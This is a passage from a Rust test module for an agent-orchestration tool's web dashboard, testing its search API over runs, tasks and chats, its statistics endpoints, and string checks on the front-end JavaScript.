17806        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17807        std::fs::write(
17808            runs.join("20260902-140503-cccc").join("run.json"),
17809            "{ not json",
17810        )
17811        .unwrap();
17812
17813        let res = f.get("/api/search?scope=runs&q=quokka").await;
17814        assert_eq!(res.status, 200, "{}", res.body);
17815        let v = res.json();
17816        assert_eq!(v["total"], 1, "{v}");
17817        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17818        assert_eq!(v["hits"][0]["field"], "text");
17819        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17820        let parts = v["hits"][0]["snippet"].as_array().unwrap();
17821        assert!(
17822            parts
17823                .iter()
17824                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17825            "{v}"
17826        );
17827        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17828        assert_eq!(
17829            flat, "The Quokka leaks across threads",
17830            "whitespace is collapsed"
17831        );
17832
17833        // Terms are ANDed, across different fields, case-insensitively.
17834        let both = f
17835            .get("/api/search?scope=runs&q=MOBILE%20quokka")
17836            .await
17837            .json();
17838        assert_eq!(both["total"], 1, "{both}");
17839        let neither = f
17840            .get("/api/search?scope=runs&q=quokka%20zebra")
17841            .await
17842            .json();
17843        assert_eq!(neither["total"], 0, "{neither}");
17844        // Everything in the task statement is reachable, not only the row text.
17845        let stmt = f
17846            .get("/api/search?scope=runs&q=mobile%20first")
17847            .await
17848            .json();
17849        assert_eq!(stmt["total"], 2, "{stmt}");
17850        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17851        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17852    }
17853
17854    #[test]
17855    fn snippet_ignores_terms_longer_than_the_field() {
17856        let terms = ["ok".to_owned(), "elephant".to_owned()];
17857        let parts = snippet_of("ok", &terms);
17858        assert_eq!(
17859            parts,
17860            vec![SnippetPart {
17861                text: "ok".to_owned(),
17862                hit: true
17863            }]
17864        );
17865    }
17866
17867    #[test]
17868    fn snippet_marks_matches_longer_than_the_window() {
17869        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17870        let hit_len = |parts: &[SnippetPart]| -> usize {
17871            parts
17872                .iter()
17873                .filter(|p| p.hit)
17874                .map(|p| p.text.chars().count())
17875                .sum()
17876        };
17877        let total =
17878            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17879
17880        let long = "a".repeat(120);
17881        let parts = snippet_of(&long, std::slice::from_ref(&long));
17882        assert!(hit_len(&parts) > 0, "{parts:?}");
17883        assert!(total(&parts) <= cap);
17884
17885        let ja = "あ".repeat(130);
17886        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17887        assert!(hit_len(&parts) > 0, "{parts:?}");
17888        assert!(total(&parts) <= cap);
17889
17890        // A short hit, then one straddling the window's end.
17891        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17892        let term = format!("ab{}", "c".repeat(100));
17893        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17894        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17895        assert!(total(&parts) <= cap);
17896
17897        // Only the head matches: not highlighted.
17898        let text = format!("{}z", "a".repeat(119));
17899        let parts = snippet_of(&text, &["a".repeat(120)]);
17900        assert_eq!(hit_len(&parts), 0, "{parts:?}");
17901    }
17902
17903    #[tokio::test]
17904    async fn search_caps_hits_and_snippet_length() {
17905        let f = Fixture::start().await;
17906        let runs = f.runs();
17907        for n in 0..(SEARCH_MAX_HITS + 5) {
17908            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17909        }
17910        let v = f.get("/api/search?scope=runs&q=web").await.json();
17911        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17912        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17913        assert_eq!(v["truncated"], true);
17914        // Every listed run hit carries its list row for the page's filters.
17915        assert!(
17916            v["hits"]
17917                .as_array()
17918                .unwrap()
17919                .iter()
17920                .all(|h| h["run"]["status"] == "merged")
17921        );
17922
17923        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17924        let parts = snippet_of(&long, &["needle".to_owned()]);
17925        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17926        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17927        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17928    }
17929
17930    #[tokio::test]
17931    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17932        let f = Fixture::start().await;
17933        let queue = f.queue();
17934        let mut t = Task::new(
17935            "short title".to_owned(),
17936            "line one\nthe hidden Armadillo detail".to_owned(),
17937            PathBuf::from("/repo/magi"),
17938            Source::Agent {
17939                run: "r1".to_owned(),
17940                node: "chat".to_owned(),
17941            },
17942        );
17943        t.last_error = Some("disk full on /tmp".to_owned());
17944        queue.put(&mut t).expect("file the task");
17945
17946        for (q, want) in [
17947            ("armadillo", 1),
17948            ("disk%20FULL", 1),
17949            ("chat", 1),
17950            ("queued", 1),
17951            ("short%20nothing", 0),
17952        ] {
17953            let v = f
17954                .get(&format!("/api/search?scope=tasks&q={q}"))
17955                .await
17956                .json();
17957            assert_eq!(v["total"], want, "{q}: {v}");
17958        }
17959        for bad in [
17960            "/api/search?scope=tasks&q=",
17961            "/api/search?scope=tasks&q=%20",
17962            "/api/search?scope=chats&q=",
17963            "/api/search?scope=chats&q=%20",
17964            "/api/search?scope=nope&q=a",
17965            "/api/search?q=a",
17966        ] {
17967            assert_eq!(f.get(bad).await.status, 400, "{bad}");
17968        }
17969    }
17970
17971    /// Write one conversation file the way the store reads it back.
17972    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17973        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17974            .expect("seat value");
17975        let turns: Vec<serde_json::Value> = turns
17976            .iter()
17977            .map(|(who, body)| {
17978                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17979            })
17980            .collect();
17981        let doc = serde_json::json!({
17982            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17983            "status": status, "turns": turns,
17984            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17985            "seat": seat,
17986        });
17987        let dir = f.home.path().join("talks");
17988        std::fs::create_dir_all(&dir).expect("talks dir");
17989        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17990    }
17991
17992    #[test]
17993    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
17994        let mut talk: Talk = serde_json::from_value(serde_json::json!({
17995            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
17996            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
17997            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
17998            "seat": crate::agent::SeatState::new("talk", "test", 1)
17999        })).unwrap();
18000        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18001        talk.title = Some(talk::ChatTitle {
18002            text: "最近の話題".into(),
18003            source: talk::TitleSource::Generated,
18004        });
18005        let doc = talk_search_doc(&talk);
18006        assert_eq!(doc["title"], "最近の話題");
18007        assert_eq!(doc["turns"][0]["operator"], "古い話題");
18008        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18009        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18010    }
18011
18012    #[tokio::test]
18013    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18014        let f = Fixture::start().await;
18015        write_talk(
18016            &f,
18017            "20260901-000001-aaaa",
18018            "open",
18019            &[
18020                (
18021                    "operator",
18022                    "\n  Why does the Pangolin cache expire?\nsecond line",
18023                ),
18024                ("agent", "Because the TTL is thirty seconds."),
18025            ],
18026        );
18027        write_talk(
18028            &f,
18029            "20260901-000002-bbbb",
18030            "closed",
18031            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18032        );
18033        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18034
18035        let search = |q: &'static str| {
18036            let f = &f;
18037            async move {
18038                f.get(&format!("/api/search?scope=chats&q={q}"))
18039                    .await
18040                    .json()
18041            }
18042        };
18043
18044        let v = search("PANGOLIN").await;
18045        assert_eq!(v["scope"], "chats");
18046        assert_eq!(v["total"], 1, "{v}");
18047        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18048        assert_eq!(v["hits"][0]["field"], "title");
18049        assert_eq!(v["unreadable"], 1, "{v}");
18050        let marked: Vec<&str> = v["hits"][0]["snippet"]
18051            .as_array()
18052            .unwrap()
18053            .iter()
18054            .filter(|p| p["hit"] == true)
18055            .map(|p| p["text"].as_str().unwrap())
18056            .collect();
18057        assert_eq!(marked, ["Pangolin"]);
18058
18059        // An agent turn, in a closed conversation.
18060        let v = search("zebra").await;
18061        assert_eq!(v["total"], 1, "{v}");
18062        assert_eq!(v["hits"][0]["field"], "agent");
18063        // Words may sit in different turns; all must be present.
18064        assert_eq!(search("pangolin%20thirty").await["total"], 1);
18065        assert_eq!(search("pangolin%20zebra").await["total"], 0);
18066        // Bookkeeping is not searched.
18067        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18068            assert_eq!(search(q).await["total"], 0, "{q}");
18069        }
18070        // The first line only is the title; the second line is still a turn.
18071        assert_eq!(search("second").await["hits"][0]["field"], "operator");
18072        // Open conversations are listed before closed ones.
18073        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18074
18075        let v = f.get("/api/search?scope=nope&q=a").await;
18076        assert_eq!(v.status, 400);
18077        assert!(
18078            v.body.contains("scope must be runs, tasks or chats"),
18079            "{}",
18080            v.body
18081        );
18082    }
18083
18084    #[test]
18085    fn a_question_card_links_a_task_id_to_the_task_page() {
18086        let start = APP_JS
18087            .find("function updateAskCard(")
18088            .expect("updateAskCard exists");
18089        let body = &APP_JS[start..];
18090        let body = &body[..body.find("\n}\n").expect("function end")];
18091        assert!(body.contains("question.run_is_task"));
18092        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18093        assert!(body.contains("`#/runs/${question.run}`"));
18094        assert!(body.contains("\"task\" : \"run\""));
18095    }
18096
18097    #[test]
18098    fn plain_text_message_surfaces_go_through_linkify() {
18099        assert!(APP_JS.contains("function linkify("));
18100        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18101        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18102        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18103        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18104        assert!(!APP_JS.contains("innerHTML = text"));
18105    }
18106
18107    #[test]
18108    fn implementation_rate_views_keep_independent_samples() {
18109        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18110            let a = stats::AgentStats {
18111                competitive_entered: competitive_n,
18112                competitive_wins: usize::from(competitive_n > 0),
18113                solo_entered: solo_n,
18114                solo_adopted: 2 * usize::from(solo_n > 0),
18115                ..Default::default()
18116            };
18117            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18118            for (key, n, numerator) in [
18119                ("competitive_win_rate", competitive_n, a.competitive_wins),
18120                ("solo_adoption_rate", solo_n, a.solo_adopted),
18121            ] {
18122                if n == 0 {
18123                    assert!(v[key].is_null());
18124                } else {
18125                    assert_eq!(v[key]["denominator"], n);
18126                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18127                }
18128            }
18129        }
18130        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18131        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18132        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18133        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18134    }
18135
18136    #[test]
18137    fn stats_bars_share_one_id_keyed_plan() {
18138        let start = APP_JS
18139            .find("function statsBarRows(")
18140            .expect("statsBarRows exists");
18141        let body = &APP_JS[start..];
18142        let body = &body[..body.find("\n}\n").expect("function end")];
18143        assert!(body.contains("statsBarPlan(rows)"));
18144        assert!(body.contains("statsAgentTone(row.agent)"));
18145        assert!(!body.contains("candTone(i)"));
18146        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18147        for root in [
18148            "stats-agents-bars",
18149            "stats-solo-bars",
18150            "stats-reviewers-bars",
18151        ] {
18152            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18153        }
18154    }
18155
18156    #[test]
18157    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18158        let start = APP_JS
18159            .find("function renderStatsReviewerScatter(")
18160            .expect("renderStatsReviewerScatter exists");
18161        let body = &APP_JS[start..];
18162        let body = &body[..body.find("\n}\n").expect("function end")];
18163        assert!(body.contains("statsScatterPlan(reviewers)"));
18164        assert!(body.contains("statsAgentTone(d.agent)"));
18165        assert!(APP_JS.contains("function statsScatterPlan("));
18166        assert!(
18167            APP_JS.contains("d.submitted < STATS_LOW_N")
18168                || APP_JS.contains("r.submitted < STATS_LOW_N")
18169        );
18170        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18171        assert!(APP_CSS.contains(".precision-scatter"));
18172    }
18173
18174    #[test]
18175    fn advisor_reflection_is_drawn_as_stacked_segments() {
18176        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18177        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18178        let html = include_str!("../assets/ui/index.html");
18179        assert!(html.contains("Approximate"));
18180        for label in ["reflected strongly", "faint", "no proposal"] {
18181            assert!(html.contains(label));
18182        }
18183        let css = include_str!("../assets/ui/app.css");
18184        for c in ["refl-strong", "refl-faint", "refl-absent"] {
18185            assert!(css.contains(&format!(".{c} {{")));
18186        }
18187    }
18188
18189    #[test]
18190    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18191        assert!(APP_JS.contains("function statsDailyPlan("));
18192        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18193        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18194    }
18195
18196    #[test]
18197    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18198        let start = APP_JS
18199            .find("function scheduleSearch(")
18200            .expect("scheduleSearch exists");
18201        let body = &APP_JS[start..];
18202        let body = &body[..body.find("\n}\n").expect("function end")];
18203        assert!(body.contains("s.seq += 1"));
18204    }
18205
18206    /// The dashboard reads every run's state itself rather than trusting a
18207    /// separately-maintained count, so an unreadable run must be counted the
18208    /// same way `/api/health` counts it - never silently dropped the way the
18209    /// CLI's own `stats::load_all` drops it.
18210    #[tokio::test]
18211    async fn stats_runs_unreadable_matches_health() {
18212        let f = Fixture::start().await;
18213        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18214        let broken = f.runs().join("20260902-140502-bad");
18215        std::fs::create_dir_all(&broken).expect("run dir");
18216        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18217
18218        let stats = f.get("/api/stats").await;
18219        let health = f.get("/api/health").await;
18220
18221        assert_eq!(stats.status, 200);
18222        assert_eq!(stats.json()["totals"]["runs"], 1);
18223        assert_eq!(stats.json()["runs_unreadable"], 1);
18224        assert_eq!(
18225            stats.json()["runs_unreadable"],
18226            health.json()["runs_unreadable"],
18227            "the dashboard and /api/health must never disagree about how many \
18228             runs could not be read"
18229        );
18230    }
18231
18232    #[tokio::test]
18233    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18234        let f = Fixture::start().await;
18235        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18236        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18237        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18238
18239        let totals = &f.get("/api/stats").await.json()["totals"];
18240        assert_eq!(totals["runs"], 3);
18241        assert_eq!(totals["merged"], 1);
18242        assert_eq!(totals["stalled"], 1);
18243        assert_eq!(totals["in_progress"], 1);
18244        // A stalled run must never read as blocked/merged/ready - it is its
18245        // own bucket, not folded into a "decided" one.
18246        assert_eq!(totals["blocked"], 0);
18247        assert_eq!(totals["ready"], 0);
18248    }
18249
18250    #[tokio::test]
18251    async fn stats_advisors_report_proposals_and_reflection() {
18252        use crate::advise::{Advice, AdvisorRecord, Reflection};
18253        use crate::verdict::Proposal;
18254
18255        let f = Fixture::start().await;
18256        let mut state = RunState::new(
18257            PathBuf::from("/repo/magi"),
18258            "main".to_owned(),
18259            "0123456789abcdef".to_owned(),
18260            "task".to_owned(),
18261            Config::default(),
18262        );
18263        state.id = "20260902-140501-a".to_owned();
18264        state.status = RunStatus::Merged;
18265        state.advice = Some(Advice {
18266            records: vec![
18267                AdvisorRecord {
18268                    seat: "advisor-1".to_owned(),
18269                    agent: "alpha".to_owned(),
18270                    proposal: Some(Proposal {
18271                        approach: "do it".to_owned(),
18272                        key_tradeoff: "speed over memory".to_owned(),
18273                        risks: Vec::new(),
18274                        touches: Vec::new(),
18275                        why_not_naive: "breaks under load".to_owned(),
18276                    }),
18277                    error: None,
18278                    duration_ms: 0,
18279                    reflection: Reflection::Strong,
18280                },
18281                AdvisorRecord {
18282                    seat: "advisor-2".to_owned(),
18283                    agent: "alpha".to_owned(),
18284                    proposal: None,
18285                    error: Some("timed out".to_owned()),
18286                    duration_ms: 0,
18287                    reflection: Reflection::Absent,
18288                },
18289            ],
18290            synthesis: Some("blended brief".to_owned()),
18291        });
18292        let dir = f.runs().join(&state.id);
18293        std::fs::create_dir_all(&dir).expect("run dir");
18294        std::fs::write(
18295            dir.join("run.json"),
18296            serde_json::to_string_pretty(&state).expect("serialize run"),
18297        )
18298        .expect("write run.json");
18299
18300        // `alpha` is in no roster here; this test is about the rates.
18301        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18302        let alpha = advisors
18303            .as_array()
18304            .expect("an array")
18305            .iter()
18306            .find(|a| a["agent"] == "alpha")
18307            .expect("alpha row");
18308        assert_eq!(alpha["seated"], 2);
18309        assert_eq!(alpha["proposed"], 1);
18310        assert_eq!(alpha["absent"], 1);
18311        assert_eq!(alpha["strong"], 1);
18312        assert_eq!(alpha["faint"], 0);
18313        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18314    }
18315
18316    #[tokio::test]
18317    async fn stats_hides_agents_outside_the_roster_unless_all() {
18318        use crate::run::Candidate;
18319        let repo = TempDir::new().expect("repo dir");
18320        std::fs::write(
18321            repo.path().join("magi.toml"),
18322            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18323        )
18324        .expect("magi.toml");
18325        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18326        let mut state = RunState::new(
18327            PathBuf::from("/repo/magi"),
18328            "main".to_owned(),
18329            "0123456789abcdef".to_owned(),
18330            "task".to_owned(),
18331            Config::default(),
18332        );
18333        state.id = "20260902-140501-a".to_owned();
18334        state.status = RunStatus::Merged;
18335        for (label, agent) in [('A', "keep"), ('B', "retired")] {
18336            let mut c: Candidate = serde_json::from_value(serde_json::json!({
18337                "index": 0, "label": label.to_string(), "agent": agent,
18338                "branch": "b", "worktree": "/w",
18339            }))
18340            .expect("candidate");
18341            c.label = label;
18342            state.candidates.push(c);
18343        }
18344        let dir = f.runs().join(&state.id);
18345        std::fs::create_dir_all(&dir).expect("run dir");
18346        std::fs::write(
18347            dir.join("run.json"),
18348            serde_json::to_string_pretty(&state).expect("serialize run"),
18349        )
18350        .expect("write run.json");
18351
18352        let agents_of = |v: &serde_json::Value| -> Vec<String> {
18353            v["agents"]
18354                .as_array()
18355                .expect("array")
18356                .iter()
18357                .map(|a| a["agent"].as_str().unwrap().to_owned())
18358                .collect()
18359        };
18360        let hidden = f.get("/api/stats").await.json();
18361        assert_eq!(agents_of(&hidden), ["keep"]);
18362        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18363        assert_eq!(hidden["totals"]["runs"], 1);
18364
18365        let all = f.get("/api/stats?all=true").await.json();
18366        assert_eq!(agents_of(&all).len(), 2);
18367        assert_eq!(all["retired_hidden"], serde_json::json!([]));
18368        // Verify competitive and solo keys exist on agent entries
18369        let keep_agent = all["agents"]
18370            .as_array()
18371            .unwrap()
18372            .iter()
18373            .find(|a| a["agent"] == "keep")
18374            .unwrap();
18375        assert_eq!(keep_agent["competitive_entered"], 1);
18376        assert_eq!(keep_agent["competitive_wins"], 0);
18377        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18378        assert_eq!(keep_agent["solo_entered"], 0);
18379        assert_eq!(keep_agent["solo_adopted"], 0);
18380        assert!(keep_agent["solo_adoption_rate"].is_null());
18381    }
18382
18383    #[tokio::test]
18384    async fn stats_release_bumps_split_clean_from_attention() {
18385        use crate::run::ReleaseBump;
18386
18387        let f = Fixture::start().await;
18388
18389        let mut clean = RunState::new(
18390            PathBuf::from("/repo/magi"),
18391            "main".to_owned(),
18392            "0123456789abcdef".to_owned(),
18393            "task".to_owned(),
18394            Config::default(),
18395        );
18396        clean.id = "20260902-140501-a".to_owned();
18397        clean.status = RunStatus::Merged;
18398        clean.release_bump = Some(ReleaseBump {
18399            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18400            version: Some("1.0.0".to_owned()),
18401            automerge_enabled: true,
18402            merged_directly: false,
18403            local: false,
18404            release: None,
18405            problem: None,
18406            action_required: None,
18407            skipped: None,
18408        });
18409
18410        let mut blocked = RunState::new(
18411            PathBuf::from("/repo/magi"),
18412            "main".to_owned(),
18413            "0123456789abcdef".to_owned(),
18414            "task".to_owned(),
18415            Config::default(),
18416        );
18417        blocked.id = "20260902-140502-b".to_owned();
18418        blocked.status = RunStatus::Merged;
18419        blocked.release_bump = Some(ReleaseBump {
18420            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18421            version: Some("1.0.1".to_owned()),
18422            automerge_enabled: false,
18423            merged_directly: false,
18424            local: false,
18425            release: None,
18426            problem: Some("checks red".to_owned()),
18427            action_required: Some("look at the PR".to_owned()),
18428            skipped: None,
18429        });
18430
18431        for state in [&clean, &blocked] {
18432            let dir = f.runs().join(&state.id);
18433            std::fs::create_dir_all(&dir).expect("run dir");
18434            std::fs::write(
18435                dir.join("run.json"),
18436                serde_json::to_string_pretty(state).expect("serialize run"),
18437            )
18438            .expect("write run.json");
18439        }
18440
18441        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18442        assert_eq!(bumps["merged"], 2);
18443        assert_eq!(bumps["recorded"], 2);
18444        assert_eq!(bumps["pr_opened"], 2);
18445        assert_eq!(bumps["automerge_enabled"], 1);
18446        assert_eq!(bumps["needs_attention"], 1);
18447        assert_eq!(bumps["clean"], 1);
18448        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18449        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18450    }
18451
18452    #[tokio::test]
18453    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18454        let f = Fixture::start().await;
18455        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18456
18457        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18458        assert_eq!(bumps["merged"], 1);
18459        assert_eq!(bumps["recorded"], 0);
18460        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18461        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18462        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18463        // `pr_opened` and `recorded` are both zero here, so these rates have
18464        // no denominator to compute from and must be null.
18465        assert_eq!(bumps["automerge_rate"], Value::Null);
18466        assert_eq!(bumps["attention_rate"], Value::Null);
18467    }
18468
18469    #[tokio::test]
18470    async fn stats_queue_counts_come_from_the_live_queue() {
18471        let f = Fixture::start().await;
18472        let q = f.queue();
18473        let mut queued = Task::new(
18474            "queued task".to_owned(),
18475            "do it".to_owned(),
18476            PathBuf::from("/repo"),
18477            Source::Human,
18478        );
18479        q.put(&mut queued).expect("put queued");
18480        let mut held = Task::new(
18481            "held task".to_owned(),
18482            "do it later".to_owned(),
18483            PathBuf::from("/repo"),
18484            Source::Human,
18485        );
18486        held.hold_machine(Some("out of attempts".to_owned()));
18487        q.put(&mut held).expect("put held");
18488
18489        let queue = f.get("/api/stats").await.json()["queue"].clone();
18490        assert_eq!(queue["queued"], 1);
18491        assert_eq!(queue["held"], 1);
18492        assert_eq!(queue["running"], 0);
18493        assert_eq!(queue["done"], 0);
18494        assert_eq!(queue["failed"], 0);
18495        assert_eq!(queue["blocked"], 0);
18496    }
18497
18498    #[tokio::test]
18499    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18500        let f = Fixture::start().await;
18501        let stats = f.get("/api/stats").await;
18502        assert_eq!(stats.status, 200);
18503        assert_eq!(stats.json()["totals"]["runs"], 0);
18504        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18505        assert_eq!(stats.json()["runs_unreadable"], 0);
18506        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18507        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18508        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18509        assert_eq!(stats.json()["repo"], Value::Null);
18510    }
18511
18512    #[tokio::test]
18513    async fn stats_lists_every_repository_with_runs_recorded() {
18514        let f = Fixture::start().await;
18515        write_run_repo(
18516            &f.runs(),
18517            "20260902-140501-a",
18518            RunStatus::Merged,
18519            "/repos/a",
18520        );
18521        write_run_repo(
18522            &f.runs(),
18523            "20260902-140502-b",
18524            RunStatus::Merged,
18525            "/repos/a",
18526        );
18527        write_run_repo(
18528            &f.runs(),
18529            "20260902-140503-c",
18530            RunStatus::Blocked,
18531            "/repos/b",
18532        );
18533
18534        let stats = f.get("/api/stats").await;
18535        assert_eq!(stats.status, 200);
18536        // Unfiltered - the aggregate across both repositories.
18537        assert_eq!(stats.json()["totals"]["runs"], 3);
18538        assert_eq!(stats.json()["repo"], Value::Null);
18539
18540        let repos = stats.json()["repos"].clone();
18541        let repos = repos.as_array().unwrap();
18542        assert_eq!(repos.len(), 2);
18543        // Busiest (2 runs) first.
18544        assert_eq!(repos[0]["repo"], "/repos/a");
18545        assert_eq!(repos[0]["name"], "a");
18546        assert_eq!(repos[0]["runs"], 2);
18547        assert_eq!(repos[1]["repo"], "/repos/b");
18548        assert_eq!(repos[1]["runs"], 1);
18549    }
18550
18551    #[tokio::test]
18552    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18553        let f = Fixture::start().await;
18554        write_run_repo(
18555            &f.runs(),
18556            "20260902-140501-a",
18557            RunStatus::Merged,
18558            "/repos/a",
18559        );
18560        write_run_repo(
18561            &f.runs(),
18562            "20260902-140502-b",
18563            RunStatus::Blocked,
18564            "/repos/b",
18565        );
18566
18567        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18568        assert_eq!(stats.status, 200);
18569        assert_eq!(stats.json()["totals"]["runs"], 1);
18570        assert_eq!(stats.json()["totals"]["merged"], 1);
18571        assert_eq!(stats.json()["repo"], "/repos/a");
18572        // The repository list itself is unaffected by the filter - it is
18573        // what a client switches repositories from.
18574        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18575        // runs_unreadable is a whole-workload count, never scoped to the
18576        // selected repository - see StatsView::runs_unreadable's own doc.
18577        assert_eq!(stats.json()["runs_unreadable"], 0);
18578    }
18579
18580    #[tokio::test]
18581    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18582        let f = Fixture::start().await;
18583        write_run_repo(
18584            &f.runs(),
18585            "20260902-140501-a",
18586            RunStatus::Merged,
18587            "/repos/a",
18588        );
18589        write_run_repo(
18590            &f.runs(),
18591            "20260902-140502-b",
18592            RunStatus::Merged,
18593            "/repos/b",
18594        );
18595
18596        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18597            let json = f.get(uri).await.json();
18598            let daily = json["daily"].as_array().expect("daily is an array");
18599            assert_eq!(daily.len(), 30);
18600            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18601            let mut sorted = dates.clone();
18602            sorted.sort();
18603            assert_eq!(dates, sorted);
18604            for d in daily {
18605                assert_eq!(
18606                    d["merged"].as_u64().unwrap()
18607                        + d["ready"].as_u64().unwrap()
18608                        + d["other"].as_u64().unwrap(),
18609                    d["runs"].as_u64().unwrap()
18610                );
18611            }
18612            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18613        }
18614    }
18615
18616    #[tokio::test]
18617    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18618        let f = Fixture::start().await;
18619        write_run_repo(
18620            &f.runs(),
18621            "20260902-140501-a",
18622            RunStatus::Merged,
18623            "/repos/a",
18624        );
18625
18626        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18627        assert_eq!(stats.status, 404);
18628    }
18629
18630    #[tokio::test]
18631    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18632        let f = Fixture::start().await;
18633        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18634
18635        let summary = f.get("/api/runs").await.json();
18636        let row = &summary[0];
18637        assert_eq!(row["short"], "a1b2");
18638        assert_eq!(row["status"], "ready");
18639        assert_eq!(row["done"], true);
18640        assert_eq!(row["title"], "Add a web UI");
18641        assert_eq!(row["repo_name"], "magi");
18642        assert_eq!(row["judges"], 3);
18643        assert_eq!(row["winner"], Value::Null);
18644        assert_eq!(row["reviews"], 0);
18645
18646        // The short id resolves, and the detail route is the state itself, not
18647        // a projection of it: the UI reads fields the summary does not carry.
